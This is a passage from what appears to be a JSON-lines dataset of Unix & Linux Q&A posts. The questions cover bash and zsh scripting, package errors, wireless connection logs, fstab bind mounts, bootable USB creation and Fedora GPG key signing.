\\$arr$n a n=2 eval echo \\$arr$n b n=3 eval echo \\$arr$n c Now I want to print all values in `$arr` and instead of `a b c` I get: n=\"*\" eval echo \\$arr$n {*}* The values should be `a b c`."} {"_id": "27138", "title": "Acer Aspire S3 or Asus Zenbook Ultrabook for running Linux (Ubuntu / Debian)", "text": "I'm curious if anyone has had success with running Ubuntu or Debian on the latest Ultrabooks. Specifically, the Acer Aspire s3 or the Asus Zenbook? I have had an Asus UL30a since they came out, but since the latest dist- upgrade landed linux-3 on my system, suspend/resume when on battery just dies. Works fine when plugged in so I assume it's trying to \"Hibernate\" when on battery. Any experiences appreciated."} {"_id": "27139", "title": "Script to change current directory (cd, pwd)", "text": "I want to run a script to simply change the current working directory: #!/bin/bash cd web/www/project But, after I run it, the current pwd remains unchanged! How can I do that?"} {"_id": "27133", "title": "Where can I find Mandrake 7.0 ISO?", "text": "I'm on the look out for Mandrake 7.0 ISO but I can't find it anywhere. Anyone have it? I need the i586 version."} {"_id": "27131", "title": "ZSH: Recursive globbing with .directories", "text": "I thought the glob pattern: **/(*|.*) would represent every folder and file starting with dot (`.`) or not, but it skips directories in the current directory that start with `.`. What is the glob pattern that means: > every file and folder that may or may not start with `.` on the current and > deeper folders **Also:** How can I exclude a specific folder (or even better, a glob subpattern) from a recursive glob pattern such as the one above? I have tried the following to exclude the folder `.hg` from the current level (but include other folders starting with the `.` character): **~.hg/* but it didn't go recursively into deeper directories."} {"_id": "65835", "title": "htop reporting much higher memory usage than free or top", "text": "The following three outputs were taken essentially simultaneously: top: top - 02:54:36 up 2 days, 13:50, 3 users, load average: 0.05, 0.05, 0.09 Tasks: 181 total, 1 running, 179 sleeping, 0 stopped, 1 zombie %Cpu(s): 2.5 us, 0.8 sy, 0.0 ni, 96.6 id, 0.1 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem: 16158632 total, 11234480 used, 4924152 free, 844 buffers KiB Swap: 16777212 total, 0 used, 16777212 free, 10640832 cached free -h: total used free shared buffers cached Mem: 15G 10G 4.7G 0B 844K 10G -/+ buffers/cache: 578M 14G Swap: 15G 0B 15G htop: ![htop](http://i.stack.imgur.com/AVrWm.jpg) free and top seem to agree. In top there is 11234480 KiB used, subtracting 10640832 KiB cached gives 579.7 MiB, which is pretty close to what free reports under used +/- buffers/cache. However htop is reporting 1836 (MiB) used, which is neither here nor there as far as I can see. Where does this difference come from? htop is clearly not including the cached data, but it is still reporting more than three times the memory usage of free or top. I am aware that there are many similar questions, but I haven't come across one that explains this discrepancy (the confusion usually seems to be only the with/without cache counting). Edit: I should mention that I am running openSUSE, and I see the same kind of discrepancy in both version 12.2 and 12.3 RC1. Edit2: The included version of htop is 1.0.1. I have also compiled version 1.0.2 from source and see the same discrepancy then as well."} {"_id": "65834", "title": "How to force X to use specific display, regardless if it is plugged in?", "text": "As it says in title: How to force xorg to use specific display trough HDMI, regardless if it is plugged in? I have TV that has some crazy \"power save\" option that can't be turned off and X thinks that HDMI is unplugged. After that, everything goes mad and sometimes my program bricks. If I could tell X to act as there is always that TV plugged in into HDMI that would solve problem."} {"_id": "65837", "title": "libpam-ck-connector causing apt-get to fail", "text": "I used `apt-get autoremove` on my Debian server and now `apt-get` won't install or remove anything as it keeps trying but failing to remove `libpam- ck-connector`. When trying to install anything\u2026 for example, `apt-get install php5` (Reading database ... 28566 files and directories currently installed.) Removing libpam-ck-connector:armhf ... dpkg: error processing libpam-ck-connector:armhf (--remove): unable to securely remove '/usr/share/doc/libpam-ck-connector/changelog.gz': Not a directory Errors were encountered while processing: libpam-ck-connector:armhf E: Sub-process /usr/bin/dpkg returned an error code (1) I tried to run `apt-get install libpam-ck-connector` and got this\u2026 libpam-ck-connector is already the newest version. libpam-ck-connector set to manually installed. The following NEW packages will be installed: libck-connector0 0 upgraded, 1 newly installed, 0 to remove and 86 not upgraded. 1 not fully installed or removed. Need to get 0 B/117 kB of archives. After this operation, 96.3 kB of additional disk space will be used. Selecting previously unselected package libck-connector0:armhf. (Reading database ... 28560 files and directories currently installed.) Unpacking libck-connector0:armhf (from .../libck-connector0_0.4.5-3.1_armhf.deb ) ... Setting up libck-connector0:armhf (0.4.5-3.1) ... dpkg: error processing libpam-ck-connector:armhf (--configure): package libpam-ck-connector:armhf is not ready for configuration cannot configure (current status `half-installed') Errors were encountered while processing: libpam-ck-connector:armhf E: Sub-process /usr/bin/dpkg returned an error code (1) Any ideas on how to work around this?"} {"_id": "65836", "title": "init.d script causes boot hang", "text": "I successfully installed a script to automatically launch in /etc/init.d on my new Raspberry Pi. Unfortunately, it is a node.js app that never returns, and therefore hangs the device during boot (this is on Debian). Yes, I'm an idiot. Is there a secret handshake I can do during boot to prevent it from running my init.d script so I can get to login and a shell to fix it?"} {"_id": "25401", "title": "How to create a bootable USB stick with Debian Squeeze", "text": "Using Ubuntu, I want to install Debian Squeeze on my PC with a bootable USB stick. I found this tutorial: Plug the usb key in order to find the device location: $ df -k /dev/sdb 244476 217968 26508 90% /media/xxx It shows that `/dev/sdb` is my usb key. Then I unmount it # umount /dev/sdb Download these two files: # cd /tmp/ # wget http://people.debian.org/~joeyh/d-i/images/daily/hd-media/boot.img.gz # wget http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/i386/iso-cd/debian-testing-i386-netinst.iso Copy the first on the stick (it has to be umounted): # zcat boot.img.gz > /dev/sdb Then mount the stick and copy `debian-testing-i386-netinst.iso` onto it: # mount /dev/sdb /mnt/ # cp /tmp/debian-testing-i386-netinst.iso /mnt/ # umount /mnt/ The USB key is now ready. Plug it on the computer to install, select in the BIOS USB for first boot device and start the Debian Squeeze installation. In the step : # cp /tmp/debian-testing-i386-netinst.iso /mnt/ the ISO file is _just copied_ , not _extracted_ - Is this correct?"} {"_id": "4091", "title": "Is Linux a Unix?", "text": "So, there are lots of different versions of Unix out there: HP-UX, AIX, BSD, etc. Linux is considered a Unix clone rather than an implementation of Unix. Are all the \"real\" Unices actual descendants of the original? If not, what separates Linux from Unix?"} {"_id": "11330", "title": "What is the difference between UNIX and UNIX Like?", "text": "> **Possible Duplicate:** > Is Linux a Unix? I have heard Linux was not UNIX (I guess it still isn't) but that it was UNIX Like. Some people will just say \"Linux is UNIX\" or say \"Linux, Solaris, something else and other UNIX-Like OSes\". Could you shed some light on this?"} {"_id": "40139", "title": "What is the difference between Unix and Linux?", "text": "> **Possible Duplicate:** > Is Linux a Unix? i'm the very new one to this platform. So i want to know the main differences between the Unix and Linux ?"} {"_id": "103788", "title": "Does Linux use original Unix code or do they share the idea?", "text": "Does the Linux kernel use original Unix code or do they share the idea? He mocked me and said it's a stupid question to ask and of course they share the idea not the code. Since both are written in C, is that true?"} {"_id": "25407", "title": "Where can I find configuration file for uw-imapd on debian?", "text": "Where can I find configuration file for uw-imapd on debian? Is there even one?"} {"_id": "25409", "title": "Linux based tools for multiple TV channels (cable TV) digitization", "text": "I'm planning to start a service which archives TV video content (at low quality). I'm exploring what software and server setup will be needed. The TV channels in the geography I'm looking at are unencrypted and are provided through coaxial cable wires (similar to standard 'Cable TV' in the US). There are about 200-250 channels, each of which is to be digitized and archived. I'm looking for a cost-effective, scalable solution which can be scaled up from an initial set of 5-10 channels to a max of 200. I can afford a set of servers each dedicated for a particular set of tasks. Obviously, cost effective linux setups would be preferred over expensive dedicated hardware solutions - but I'm open to either..."} {"_id": "32295", "title": "How do I stop Apache from running as root?", "text": "New on the job, small place, and the security stuff just landed on my desk. I was hired to be a front-end developer. Happy to learn new things, but never had to do sysadmin stuff before. I started digging and it appears that apache, the site, and everything is running on root. There are no other groups or users. ACK! What steps should I take to change this? I know that this is a big no-no... Bonus points if anyone can please point me to a good basic 101 tutorial on apache/php security."} {"_id": "32297", "title": "How to log user in to Gnome Desktop from remote ssh terminal?", "text": "I'm using CentOS 5.5 with Gnome Desktop Enironment. By default, after system boot i get Gnome's login screen. Independently, I can log in through SSH and execute commands. Is there any command line tool, that would log user in to GNOME ? I know, there is AutomaticLogin feature in GNOME `[daemon]` section in `/etc/gdm/custom.conf` file , but I don't want to use it. I would like to be able do it \"on demand\" from SSH command line."} {"_id": "32290", "title": "Pass command line arguments to bash script", "text": "I am new to bash script programming. I want to implement a bash script 'deploymLog', which accepts as input one string argument(name). [root@localhost Desktop]# ./deploymLog.sh name here I want to pass the string argument(name) through command line As an initial step, I need to append the current timestamp along with this input string to a log file say `Logone.txt` in current directory in the below format: [name]=[System time timestamp1] How it is possible?"} {"_id": "139112", "title": "Nagios took over default port", "text": "I had domain XXXXXX.com working After installing nagios the only working thing is XXXXXX.com/nagios :/ Entering XXXXXX.com generates repsonse: Forbidden You don't have permission to access / on this server. Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3 Server at XXXXXX.com Port 80 I've got httpd installed. Please help!"} {"_id": "139110", "title": "Expect script: remove password on private key", "text": "I'm trying to remove the password on a private key. Doing it by hand is simple, I run this command and enter the password : `openssl rsa newkey-no-password.pem` I'm trying to do this in an expect script, so that I don't have to actually type the password. Here is the code I wrote: #!/usr/bin/expect -f set PASSWORD myPassword spawn openssl rsa newkey-no-pass.pem expect \"Enter pass phrase:\" send \"$PASSWORD\\r\" expect eof And here is the output I get when running the script: [me@mymachine]# ./test.exp spawn openssl rsa newkey-no-pass.pem unknown option outfile ... all the options for rsa command ... I tried putting the ` (wlan0): supplicant interface state: associated -> disconnected Nov 4 00:21:38 den kernel: [158784.046507] cfg80211: World regulatory domain updated: Nov 4 00:21:38 den kernel: [158784.046516] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:38 den kernel: [158784.046521] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:38 den kernel: [158784.046526] cfg80211: (2457000 KHz - 2482000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:38 den kernel: [158784.046529] cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:38 den kernel: [158784.046533] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:38 den kernel: [158784.046537] cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:38 den kernel: [158784.046577] cfg80211: Calling CRDA for country: CZ Nov 4 00:21:38 den kernel: [158784.051348] cfg80211: Regulatory domain changed to country: CZ Nov 4 00:21:38 den kernel: [158784.051354] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:38 den kernel: [158784.051359] cfg80211: (2400000 KHz - 2483500 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:38 den kernel: [158784.051363] cfg80211: (5150000 KHz - 5250000 KHz @ 40000 KHz), (N/A, 2301 mBm) Nov 4 00:21:38 den kernel: [158784.051366] cfg80211: (5250000 KHz - 5350000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:38 den kernel: [158784.051370] cfg80211: (5470000 KHz - 5725000 KHz @ 40000 KHz), (N/A, 2698 mBm) Nov 4 00:21:38 den kernel: [158784.051373] cfg80211: (57240000 KHz - 65880000 KHz @ 2160000 KHz), (N/A, 4000 mBm) Nov 4 00:21:39 den NetworkManager[855]: (wlan0): supplicant interface state: disconnected -> scanning Nov 4 00:21:39 den kernel: [158785.560724] wlan0: authenticate with 00:01:38:fb:84:9d Nov 4 00:21:39 den kernel: [158785.562341] wlan0: send auth to 00:01:38:fb:84:9d (try 1/3) Nov 4 00:21:39 den kernel: [158785.564375] wlan0: authenticated Nov 4 00:21:39 den kernel: [158785.564826] iwlwifi 0000:02:00.0 wlan0: disabling HT/VHT due to WEP/TKIP use Nov 4 00:21:39 den kernel: [158785.564835] iwlwifi 0000:02:00.0 wlan0: disabling HT as WMM/QoS is not supported by the AP Nov 4 00:21:39 den kernel: [158785.564840] iwlwifi 0000:02:00.0 wlan0: disabling VHT as WMM/QoS is not supported by the AP Nov 4 00:21:39 den kernel: [158785.564995] wlan0: associate with 00:01:38:fb:84:9d (try 1/3) Nov 4 00:21:39 den NetworkManager[855]: (wlan0): supplicant interface state: scanning -> authenticating Nov 4 00:21:39 den kernel: [158785.567720] wlan0: RX AssocResp from 00:01:38:fb:84:9d (capab=0x431 status=0 aid=3) Nov 4 00:21:39 den NetworkManager[855]: (wlan0): supplicant interface state: authenticating -> associating Nov 4 00:21:39 den kernel: [158785.571052] wlan0: associated Nov 4 00:21:39 den kernel: [158785.571223] cfg80211: Calling CRDA for country: PL Nov 4 00:21:39 den kernel: [158785.575645] cfg80211: Regulatory domain changed to country: PL Nov 4 00:21:39 den kernel: [158785.575653] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:39 den kernel: [158785.575658] cfg80211: (2402000 KHz - 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:39 den kernel: [158785.575662] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:39 den kernel: [158785.575665] cfg80211: (5250000 KHz - 5330000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:39 den kernel: [158785.575669] cfg80211: (5490000 KHz - 5710000 KHz @ 40000 KHz), (N/A, 2700 mBm) Nov 4 00:21:39 den kernel: [158785.575673] cfg80211: (57240000 KHz - 65880000 KHz @ 2160000 KHz), (N/A, 4000 mBm) Nov 4 00:21:39 den NetworkManager[855]: (wlan0): supplicant interface state: associating -> associated Nov 4 00:21:49 den kernel: [158795.577247] wlan0: disassociating from 00:01:38:fb:84:9d by local choice (reason=3) Nov 4 00:21:49 den kernel: [158795.584453] cfg80211: Calling CRDA to update world regulatory domain Nov 4 00:21:49 den kernel: [158795.585791] wlan0: deauthenticating from 00:01:38:fb:84:9d by local choice (reason=3) Nov 4 00:21:49 den kernel: [158795.591456] cfg80211: World regulatory domain updated: Nov 4 00:21:49 den kernel: [158795.591465] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:49 den kernel: [158795.591470] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:49 den kernel: [158795.591475] cfg80211: (2457000 KHz - 2482000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:49 den kernel: [158795.591478] cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:49 den kernel: [158795.591482] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:49 den kernel: [158795.591486] cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:49 den kernel: [158795.591517] cfg80211: Calling CRDA for country: CZ Nov 4 00:21:49 den NetworkManager[855]: (wlan0): supplicant interface state: associated -> disconnected Nov 4 00:21:49 den kernel: [158795.597174] cfg80211: Regulatory domain changed to country: CZ Nov 4 00:21:49 den kernel: [158795.597177] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:49 den kernel: [158795.597178] cfg80211: (2400000 KHz - 2483500 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:49 den kernel: [158795.597180] cfg80211: (5150000 KHz - 5250000 KHz @ 40000 KHz), (N/A, 2301 mBm) Nov 4 00:21:49 den kernel: [158795.597181] cfg80211: (5250000 KHz - 5350000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:49 den kernel: [158795.597182] cfg80211: (5470000 KHz - 5725000 KHz @ 40000 KHz), (N/A, 2698 mBm) Nov 4 00:21:49 den kernel: [158795.597183] cfg80211: (57240000 KHz - 65880000 KHz @ 2160000 KHz), (N/A, 4000 mBm) Nov 4 00:21:50 den NetworkManager[855]: (wlan0): supplicant interface state: disconnected -> scanning Nov 4 00:21:51 den kernel: [158797.086187] wlan0: authenticate with 00:01:38:fb:84:9d Nov 4 00:21:51 den kernel: [158797.090017] wlan0: send auth to 00:01:38:fb:84:9d (try 1/3) Nov 4 00:21:51 den NetworkManager[855]: (wlan0): supplicant interface state: scanning -> authenticating Nov 4 00:21:51 den kernel: [158797.091987] wlan0: authenticated Nov 4 00:21:51 den kernel: [158797.092377] iwlwifi 0000:02:00.0 wlan0: disabling HT/VHT due to WEP/TKIP use Nov 4 00:21:51 den kernel: [158797.092390] iwlwifi 0000:02:00.0 wlan0: disabling HT as WMM/QoS is not supported by the AP Nov 4 00:21:51 den kernel: [158797.092398] iwlwifi 0000:02:00.0 wlan0: disabling VHT as WMM/QoS is not supported by the AP Nov 4 00:21:51 den kernel: [158797.093302] wlan0: associate with 00:01:38:fb:84:9d (try 1/3) Nov 4 00:21:51 den kernel: [158797.096083] wlan0: RX AssocResp from 00:01:38:fb:84:9d (capab=0x431 status=0 aid=3) Nov 4 00:21:51 den NetworkManager[855]: (wlan0): supplicant interface state: authenticating -> associating Nov 4 00:21:51 den kernel: [158797.099180] wlan0: associated Nov 4 00:21:51 den kernel: [158797.099395] cfg80211: Calling CRDA for country: PL Nov 4 00:21:51 den NetworkManager[855]: (wlan0): supplicant interface state: associating -> associated Nov 4 00:21:51 den kernel: [158797.106784] cfg80211: Regulatory domain changed to country: PL Nov 4 00:21:51 den kernel: [158797.106793] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:51 den kernel: [158797.106798] cfg80211: (2402000 KHz - 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:51 den kernel: [158797.106802] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:51 den kernel: [158797.106805] cfg80211: (5250000 KHz - 5330000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:51 den kernel: [158797.106809] cfg80211: (5490000 KHz - 5710000 KHz @ 40000 KHz), (N/A, 2700 mBm) Nov 4 00:21:51 den kernel: [158797.106812] cfg80211: (57240000 KHz - 65880000 KHz @ 2160000 KHz), (N/A, 4000 mBm) Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0/wireless): association took too long. Nov 4 00:21:52 den kernel: [158798.436347] wlan0: deauthenticating from 00:01:38:fb:84:9d by local choice (reason=3) Nov 4 00:21:52 den NetworkManager[855]: (wlan0): device state change: config -> need-auth (reason 'none') [50 60 0] Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0/wireless): asking for new secrets Nov 4 00:21:52 den kernel: [158798.440551] cfg80211: Calling CRDA to update world regulatory domain Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0) Stage 1 of 5 (Device Prepare) scheduled... Nov 4 00:21:52 den kernel: [158798.446961] cfg80211: World regulatory domain updated: Nov 4 00:21:52 den kernel: [158798.446972] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:52 den kernel: [158798.446985] cfg80211: (2402000 KHz - 2472000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:52 den kernel: [158798.446987] cfg80211: (2457000 KHz - 2482000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:52 den kernel: [158798.446989] cfg80211: (2474000 KHz - 2494000 KHz @ 20000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:52 den kernel: [158798.446990] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:52 den kernel: [158798.446992] cfg80211: (5735000 KHz - 5835000 KHz @ 40000 KHz), (300 mBi, 2000 mBm) Nov 4 00:21:52 den kernel: [158798.447008] cfg80211: Calling CRDA for country: CZ Nov 4 00:21:52 den NetworkManager[855]: (wlan0): supplicant interface state: associated -> disconnected Nov 4 00:21:52 den NetworkManager[855]: Couldn't disconnect supplicant interface: This interface is not connected. Nov 4 00:21:52 den kernel: [158798.451172] cfg80211: Regulatory domain changed to country: CZ Nov 4 00:21:52 den kernel: [158798.451176] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:52 den kernel: [158798.451178] cfg80211: (2400000 KHz - 2483500 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:52 den kernel: [158798.451180] cfg80211: (5150000 KHz - 5250000 KHz @ 40000 KHz), (N/A, 2301 mBm) Nov 4 00:21:52 den kernel: [158798.451182] cfg80211: (5250000 KHz - 5350000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:52 den kernel: [158798.451184] cfg80211: (5470000 KHz - 5725000 KHz @ 40000 KHz), (N/A, 2698 mBm) Nov 4 00:21:52 den kernel: [158798.451186] cfg80211: (57240000 KHz - 65880000 KHz @ 2160000 KHz), (N/A, 4000 mBm) Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0) Stage 1 of 5 (Device Prepare) started... Nov 4 00:21:52 den NetworkManager[855]: (wlan0): device state change: need-auth -> prepare (reason 'none') [60 40 0] Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0) Stage 2 of 5 (Device Configure) scheduled... Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0) Stage 1 of 5 (Device Prepare) complete. Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0) Stage 2 of 5 (Device Configure) starting... Nov 4 00:21:52 den NetworkManager[855]: (wlan0): device state change: prepare -> config (reason 'none') [40 50 0] Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0/wireless): connection 'Auto Ikarie' has security, and secrets exist. No new secrets needed. Nov 4 00:21:52 den NetworkManager[855]: Config: added 'ssid' value 'Ikarie' Nov 4 00:21:52 den NetworkManager[855]: Config: added 'scan_ssid' value '1' Nov 4 00:21:52 den NetworkManager[855]: Config: added 'key_mgmt' value 'WPA-PSK' Nov 4 00:21:52 den NetworkManager[855]: Config: added 'psk' value '' Nov 4 00:21:52 den NetworkManager[855]: Config: added 'proto' value 'WPA RSN' Nov 4 00:21:52 den NetworkManager[855]: Activation (wlan0) Stage 2 of 5 (Device Configure) complete. Nov 4 00:21:52 den NetworkManager[855]: (wlan0): supplicant interface state: disconnected -> scanning Nov 4 00:21:53 den kernel: [158799.070448] wlan0: authenticate with 00:01:38:fb:84:9d Nov 4 00:21:53 den kernel: [158799.073906] wlan0: send auth to 00:01:38:fb:84:9d (try 1/3) Nov 4 00:21:53 den kernel: [158799.075947] wlan0: authenticated Nov 4 00:21:53 den kernel: [158799.076258] iwlwifi 0000:02:00.0 wlan0: disabling HT/VHT due to WEP/TKIP use Nov 4 00:21:53 den kernel: [158799.076269] iwlwifi 0000:02:00.0 wlan0: disabling HT as WMM/QoS is not supported by the AP Nov 4 00:21:53 den kernel: [158799.076276] iwlwifi 0000:02:00.0 wlan0: disabling VHT as WMM/QoS is not supported by the AP Nov 4 00:21:53 den NetworkManager[855]: (wlan0): supplicant interface state: scanning -> authenticating Nov 4 00:21:53 den kernel: [158799.077217] wlan0: associate with 00:01:38:fb:84:9d (try 1/3) Nov 4 00:21:53 den kernel: [158799.080030] wlan0: RX AssocResp from 00:01:38:fb:84:9d (capab=0x431 status=0 aid=3) Nov 4 00:21:53 den NetworkManager[855]: (wlan0): supplicant interface state: authenticating -> associating Nov 4 00:21:53 den kernel: [158799.083331] wlan0: associated Nov 4 00:21:53 den kernel: [158799.083503] cfg80211: Calling CRDA for country: PL Nov 4 00:21:53 den kernel: [158799.088635] cfg80211: Regulatory domain changed to country: PL Nov 4 00:21:53 den kernel: [158799.088643] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp) Nov 4 00:21:53 den kernel: [158799.088648] cfg80211: (2402000 KHz - 2482000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:53 den kernel: [158799.088652] cfg80211: (5170000 KHz - 5250000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:53 den kernel: [158799.088656] cfg80211: (5250000 KHz - 5330000 KHz @ 40000 KHz), (N/A, 2000 mBm) Nov 4 00:21:53 den kernel: [158799.088659] cfg80211: (5490000 KHz - 5710000 KHz @ 40000 KHz), (N/A, 2700 mBm) Nov 4 00:21:53 den kernel: [158799.088663] cfg80211: (57240000 KHz - 65880000 KHz @ 2160000 KHz), (N/A, 4000 mBm) Nov 4 00:21:53 den NetworkManager[855]: (wlan0): supplicant interface state: associating -> associated"} {"_id": "39961", "title": "Zsh - alias -s with parameter", "text": "In zsh, I can specify default program to open which file extension like `alias -s {mkv,mpg}='mplayer'` . I runs fine but what I really want is to run `mplayer &` so it won't produce technical stuffs and 'stealing' my current shell session. **How can I make this happen ?** Thanks for reading :)"} {"_id": "39964", "title": "How to use gtalk on fedora linux?", "text": "I use gmail account for chat, but i want gtalk standalone application just like in windows. can i install standalone gtalk client on linux ?"} {"_id": "39969", "title": "In linux, would it be possible to run a script every day 3 minutes later than the previous day?", "text": "My first solution to this was to execute `date +%Y%m%d%H%M` and put that format of numbers into a file, and run the script every minute from cron. Then if the date from the file matches the date command, the script would do something. Then it would update that file for the next day plus 3 minutes. Is there a better way to accomplish this? The result would be that the script would run the first day at (for example) 4:00am then the second day it would run at 4:03am and the third day it would run at 4:06am. It would execute every minute, but only run (if block) at the correct time. Is the question and my solution clear?"} {"_id": "154023", "title": "bind mount /var with fstab", "text": "I'm messing around with having both `/home` and `/var` on a seperate partition which will be mounted in `/myhdd`. Next, I use `mount --bind` to mount `/var` on `/myhdd/var` and `/home` on `/myhdd/home`. With this configuration I am able to successfully install Arch Linux but as soon as I boot to the installed system `/var` and `/home` are not mount although `/myhdd` is. Due to this issue I can't get pacman and more important stuff working. I do get working system if I manually mount all directories, so it looks like fstab problem, so here it is: # /dev/sda1 UUID=f192b003-abf9-4e1a-87ee-d187d64423ce / ext4 rw,relatime,data=ordered 0 1 # /dev/sda2 UUID=b4c5571f-ddb7-440e-b591-759e888b268d /myhdd ext4 rw,relatime,data=ordered 0 2 # /mnt/myhdd/home /mnt/myhdd/home /home none bind 0 0 # /mnt/myhdd/var /mnt/myhdd/var /var none bind 0 0 Any ideas why fstab doesn't mount my `/var` and `/home` directories?"} {"_id": "66786", "title": "Bash script that automatically kills processes when CPU/memory usage gets too high", "text": "I have created a script that kills processes if CPU and/or memory usage hits 80%. It creates a list of killed processes when this happens. What can I do to improve it? while [ 1 ]; do echo echo checking for run-away process ... CPU_USAGE=$(uptime | cut -d\",\" -f4 | cut -d\":\" -f2 | cut -d\" \" -f2 | sed -e \"s/\\.//g\") CPU_USAGE_THRESHOLD=800 PROCESS=$(ps aux r) TOPPROCESS=$(ps -eo pid -eo pcpu -eo command | sort -k 2 -r | grep -v PID | head -n 1) if [ $CPU_USAGE -gt $CPU_USAGE_THRESHOLD] ; then kill -9 $(ps -eo pid | sort -k 1 -r | grep -v PID | head -n 1) #original kill -9 $(ps -eo pcpu | sort -k 1 -r | grep -v %CPU | head -n 1) kill -9 $TOPPROCESS echo system overloading! echo Top-most process killed $TOPPROCESS echo CPU USAGE is at $CPU_LOAD else fi exit 0 sleep 1; done"} {"_id": "32127", "title": "Developing software on linux", "text": "What tools or IDEs do I need to start developing software on Linux in C++? Can I work using C#? What are necessary skills in order to know to develop software on Linux? I mean what is required in the firms mostly to work as Software engineer on Linux?"} {"_id": "46939", "title": "Emacs: error when the function is called in a hook", "text": "I defined a function in my .emacs file, and I want to call it when a major mode is loaded. My function is interactive. If I invoke my function by M-x, everything seems alright. But if I invoke my function from the mode hook, I got below error: > File mode specification error: (void-variable set-color-theme) But actually, the function has been invoked correctly. So, I do not understand why it reports the variable is void."} {"_id": "32125", "title": "pwd not being set correctly in zsh prompt", "text": "If I type this in my PROMPT in my `.zshrc` file: PROMPT=\"`pwd` >\" I expect that it will print the current working directory. However, `pwd` always prints `/Users/kevin`. Why doesn't it show my current working directory? (I know that there is a function called `%~` that will set it for you. I'm curious why this doesn't work though, this is a simpler case of something more advanced that I'm trying to do)."} {"_id": "66787", "title": "sed extract with multiple options in end pattern", "text": "I get some output from a command, I have to extract text between two patterns from the output. Start pattern is fixed. But the end format can be one of two (lets say word2-1 and word2-2). Is there any way I can specify that in a single `sed` command? I tried sed -n \"/Word1/,/(word2-1|word2-2)/p\" sed -n \"/Word1/,/word2-1|word2-2/p\" sed -n \"/Word1/,/word2-1\\|word2-2/p\" sed -n \"/Word1/,/[word2-1|word2-2]/p\""} {"_id": "32128", "title": "Why aren't the Fedora GPG keys signed?", "text": "Fedora uses GPG-keys for signing RPM packages and ISO checksum files. They list the keys in use (including fingerprints) on a web page. The web page is delivered via https. For example the checksum file for `Fedora-16-i386-DVD.iso` is signed with key `A82BA4B7`. Checking who signed the public key results in a disappointing listing: Type bits/keyID cr. time exp time key expir pub 4096R/A82BA4B7 2011-07-25 uid Fedora (16) sig sig3 A82BA4B7 2011-07-25 __________ __________ [selfsig] It seems that nobody from the Fedora community has signed these important keys! Why? ;) (Why doesn't Fedora use a web of trust?) Or am I missing something? Compare this e.g. with Debian - their current automatic ftp signing key `473041FA` is signed by 7 developers. **Edit:** Why does this stuff matter? Having such an important key signed by real people (currently it is not signed by anyone!) established a certain level of confidence that it is the real key and not one created by an attacker just uploaded 5 minutes ago to the web- server. This level of confidence or trust requires that you can trace signing relations in a web of trust (to people you are already trusting). And the probability you are being able to do so is increasing when different people sign it (currently the probability is zero). You can compare this trust thing with surfing to `https://mybank.example.net` and getting a certification verification warning - would you then still enter your transaction details or would you think 'wait a minute!', stop and investigate the issue?"} {"_id": "74939", "title": "LPIC-1 for non-professional experienced user", "text": "I am interested in trying out the LPIC-1 certification however I am slightly worried that I may not have the needed professional 